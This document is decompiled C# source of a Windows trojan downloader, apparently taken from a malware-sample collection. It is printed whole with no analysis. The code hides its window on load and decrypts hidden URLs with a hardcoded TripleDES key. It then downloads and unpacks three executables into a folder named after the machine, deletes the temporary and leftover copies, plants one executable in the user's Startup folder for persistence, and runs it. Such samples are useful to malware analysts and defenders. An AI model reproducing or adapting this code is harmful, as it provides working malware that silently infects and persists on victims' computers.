// Decompiled with JetBrains decompiler
// Type: csvb.Form1
// Assembly: csvb, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 20109BCF-839F-46F5-80A1-72C406759DC2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Downloader.MSIL.Small.fc-5e3ba0366fdaabf173d28c41bafd1df629e650a2786f5ce9d09601b104e58791.exe

using csvb.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace csvb
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private IContainer components;
    [AccessedThroughProperty("Button2")]
    private Button _Button2;
    [AccessedThroughProperty("TxtArquivoDescompactar")]
    private TextBox _TxtArquivoDescompactar;

    public Form1()
    {
      this.Load += new EventHandler(this.Button2_Click);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.Button2 = new Button();
      this.TxtArquivoDescompactar = new TextBox();
      this.SuspendLayout();
      Button button2_1 = this.Button2;
      Point point1 = new Point(12, 12);
      Point point2 = point1;
      button2_1.Location = point2;
      this.Button2.Name = "Button2";
      Button button2_2 = this.Button2;
      Size size1 = new Size(75, 23);
      Size size2 = size1;
      button2_2.Size = size2;
      this.Button2.TabIndex = 1;
      this.Button2.Text = "Button2";
      this.Button2.UseVisualStyleBackColor = true;
      TextBox arquivoDescompactar1 = this.TxtArquivoDescompactar;
      point1 = new Point(68, 16);
      Point point3 = point1;
      arquivoDescompactar1.Location = point3;
      this.TxtArquivoDescompactar.Name = "TxtArquivoDescompactar";
      TextBox arquivoDescompactar2 = this.TxtArquivoDescompactar;
      size1 = new Size(349, 20);
      Size size3 = size1;
      arquivoDescompactar2.Size = size3;
      this.TxtArquivoDescompactar.TabIndex = 3;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      size1 = new Size(424, 52);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.TxtArquivoDescompactar);
      this.Controls.Add((Control) this.Button2);
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual Button Button2
    {
      get => this._Button2;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button2_Click);
        if (this._Button2 != null)
          this._Button2.Click -= eventHandler;
        this._Button2 = value;
        if (this._Button2 == null)
          return;
        this._Button2.Click += eventHandler;
      }
    }

    internal virtual TextBox TxtArquivoDescompactar
    {
      get => this._TxtArquivoDescompactar;
      [MethodImpl(MethodImplOptions.Synchronized)] set => this._TxtArquivoDescompactar = value;
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex0()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe"), Environment.MachineName + ".exe", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe"), Environment.MachineName + "1.exe", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex1()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe"), Environment.MachineName + "2.exe", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex2()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "3.exe"), Environment.MachineName + "3.exe", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "3.exe");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex4()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\a.txt"), "a.txt", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\a.txt");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex9()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\d.txt"), "d.txt", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\d.txt");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void afex3()
    {
      if (Operators.CompareString(FileSystem.Dir("C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + Environment.MachineName + ".exe"), Environment.MachineName + ".exe", false) != 0)
        return;
      FileSystem.Kill("C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + Environment.MachineName + ".exe");
    }

    private void bcg()
    {
      if (Strings.InStr(MyProject.Computer.Info.OSFullName, Form1.Crypto.Decrypt("W8Oy3Q/I/3BA1NmoUiYsNQ==")) != 0)
        this.wp();
      if (Strings.InStr(MyProject.Computer.Info.OSFullName, Form1.Crypto.Decrypt("iJoNgIE9WTo=")) != 0)
        this.wp1();
      if (Strings.InStr(MyProject.Computer.Info.OSFullName, Form1.Crypto.Decrypt("C17Miq63bAc=")) == 0)
        return;
      Application.Exit();
    }

    private void wp()
    {
      this.afex();
      this.afex1();
      this.afex2();
      this.afex3();
      this.afex4();
      this.afex0();
      this.afex9();
      this.l1();
    }

    private void wp1()
    {
      this.afex();
      this.afex1();
      this.afex2();
      this.afex3();
      this.afex4();
      this.afex0();
      this.afex9();
      this.l2();
    }

    private void desco1()
    {
      OpenFileDialog openFileDialog = new OpenFileDialog();
      try
      {
        FileStream fileStream1 = new FileStream(this.TxtArquivoDescompactar.Text, FileMode.Open, FileAccess.Read);
        FileStream fileStream2 = new FileStream(this.TxtArquivoDescompactar.Text.Replace(".gz", ""), FileMode.Create, FileAccess.Write);
        GZipStream gzipStream = new GZipStream((Stream) fileStream1, CompressionMode.Decompress, true);
        byte[] array = new byte[501];
        while (true)
        {
          int count = gzipStream.Read(array, 0, 500);
          if (count != 0)
            fileStream2.Write(array, 0, count);
          else
            break;
        }
        fileStream1.Close();
        gzipStream.Close();
        fileStream2.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void kio()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe.gz"), Environment.MachineName + ".exe.gz", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe.gz");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void kio1()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe.gz"), Environment.MachineName + "1.exe.gz", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe.gz");
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void kio2()
    {
      if (Operators.CompareString(FileSystem.Dir("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe.gz"), Environment.MachineName + "2.exe.gz", false) != 0)
        return;
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe.gz");
    }

    private void dw()
    {
      WebClient webClient = new WebClient();
      try
      {
        webClient.DownloadFile(Form1.Crypto.Decrypt("N52cJNKLa2kZMoggxbLc3vhkIFrGJ36nRQeZfR64Wp0VlZ+gA1XZcA=="), "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe.gz");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      webClient.Dispose();
    }

    private void dw1()
    {
      WebClient webClient = new WebClient();
      try
      {
        webClient.DownloadFile(Form1.Crypto.Decrypt("N52cJNKLa2kZMoggxbLc3vhkIFrGJ36n0JevAqsrcKSRsAFcllv6VFwiCghugLGo"), "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe.gz");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      webClient.Dispose();
    }

    private void dw2()
    {
      WebClient webClient = new WebClient();
      try
      {
        webClient.DownloadFile(Form1.Crypto.Decrypt("N52cJNKLa2kZMoggxbLc3vhkIFrGJ36nIKPXPCGua/c1u2Ou+1QUkg=="), "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe.gz");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      webClient.Dispose();
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void l1()
    {
      this.dw();
      this.dw1();
      this.dw2();
      this.TxtArquivoDescompactar.Text = "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe.gz";
      this.desco1();
      this.TxtArquivoDescompactar.Text = "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe.gz";
      this.desco1();
      this.TxtArquivoDescompactar.Text = "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe.gz";
      this.desco1();
      this.kio();
      this.kio1();
      this.kio2();
      FileSystem.FileCopy("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe", "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + Environment.MachineName + ".exe");
      Process.Start("C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + Environment.MachineName + ".exe");
      FileSystem.Kill("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe");
      Application.Exit();
    }

    private void dx()
    {
      WebClient webClient = new WebClient();
      try
      {
        webClient.DownloadFile(Form1.Crypto.Decrypt("N52cJNKLa2kZMoggxbLc3vhkIFrGJ36neWOYRTU8teIVlZ+gA1XZcA=="), "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe.gz");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      webClient.Dispose();
    }

    private void dx1()
    {
      WebClient webClient = new WebClient();
      try
      {
        webClient.DownloadFile(Form1.Crypto.Decrypt("N52cJNKLa2kZMoggxbLc3vhkIFrGJ36n0JevAqsrcKRFX47h5MiSYlwiCghugLGo"), "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe.gz");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      webClient.Dispose();
    }

    private void dx2()
    {
      WebClient webClient = new WebClient();
      try
      {
        webClient.DownloadFile(Form1.Crypto.Decrypt("N52cJNKLa2kZMoggxbLc3vhkIFrGJ36n1XU4WCt0Rp01u2Ou+1QUkg=="), "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe.gz");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      webClient.Dispose();
    }

    private void l2()
    {
      this.dx();
      this.dx1();
      this.dx2();
      this.TxtArquivoDescompactar.Text = "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe.gz";
      this.desco1();
      this.TxtArquivoDescompactar.Text = "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "1.exe.gz";
      this.desco1();
      this.TxtArquivoDescompactar.Text = "c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + "2.exe.gz";
      this.desco1();
      this.kio();
      this.kio1();
      this.kio2();
      Process.Start("c:\\" + Environment.MachineName + "\\AppData\\" + Environment.MachineName + ".exe");
      Application.Exit();
    }

    private void Button2_Click(object sender, EventArgs e)
    {
      this.Opacity = 0.0;
      this.ShowInTaskbar = false;
      this.bcg();
    }

    public class Crypto
    {
      private static TripleDESCryptoServiceProvider TripleDES = new TripleDESCryptoServiceProvider();
      private static MD5CryptoServiceProvider MD5 = new MD5CryptoServiceProvider();
      private const string key = "CHAVE12345teste";

      public static byte[] MD5Hash(string value)
      {
        byte[] bytes = Encoding.ASCII.GetBytes(value);
        return Form1.Crypto.MD5.ComputeHash(bytes);
      }

      [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
      public static string Encrypt(string stringToEncrypt)
      {
        string str;
        try
        {
          Form1.Crypto.TripleDES.Key = Form1.Crypto.MD5Hash("CHAVE12345teste");
          Form1.Crypto.TripleDES.Mode = CipherMode.ECB;
          byte[] bytes = Encoding.ASCII.GetBytes(stringToEncrypt);
          str = Convert.ToBase64String(Form1.Crypto.TripleDES.CreateEncryptor().TransformFinalBlock(bytes, 0, bytes.Length));
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          int num = (int) MessageBox.Show(ex.Message, MyProject.Application.Info.Title, MessageBoxButtons.OK, MessageBoxIcon.Hand);
          str = string.Empty;
          ProjectData.ClearProjectError();
        }
        return str;
      }

      [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
      public static string Decrypt(string encryptedString)
      {
        string empty;
        try
        {
          Form1.Crypto.TripleDES.Key = Form1.Crypto.MD5Hash("CHAVE12345teste");
          Form1.Crypto.TripleDES.Mode = CipherMode.ECB;
          byte[] inputBuffer = Convert.FromBase64String(encryptedString);
          empty = Encoding.ASCII.GetString(Form1.Crypto.TripleDES.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          int num = (int) MessageBox.Show(ex.Message, MyProject.Application.Info.Title, MessageBoxButtons.OK, MessageBoxIcon.Hand);
          empty = string.Empty;
          ProjectData.ClearProjectError();
        }
        return empty;
      }
    }
  }
}
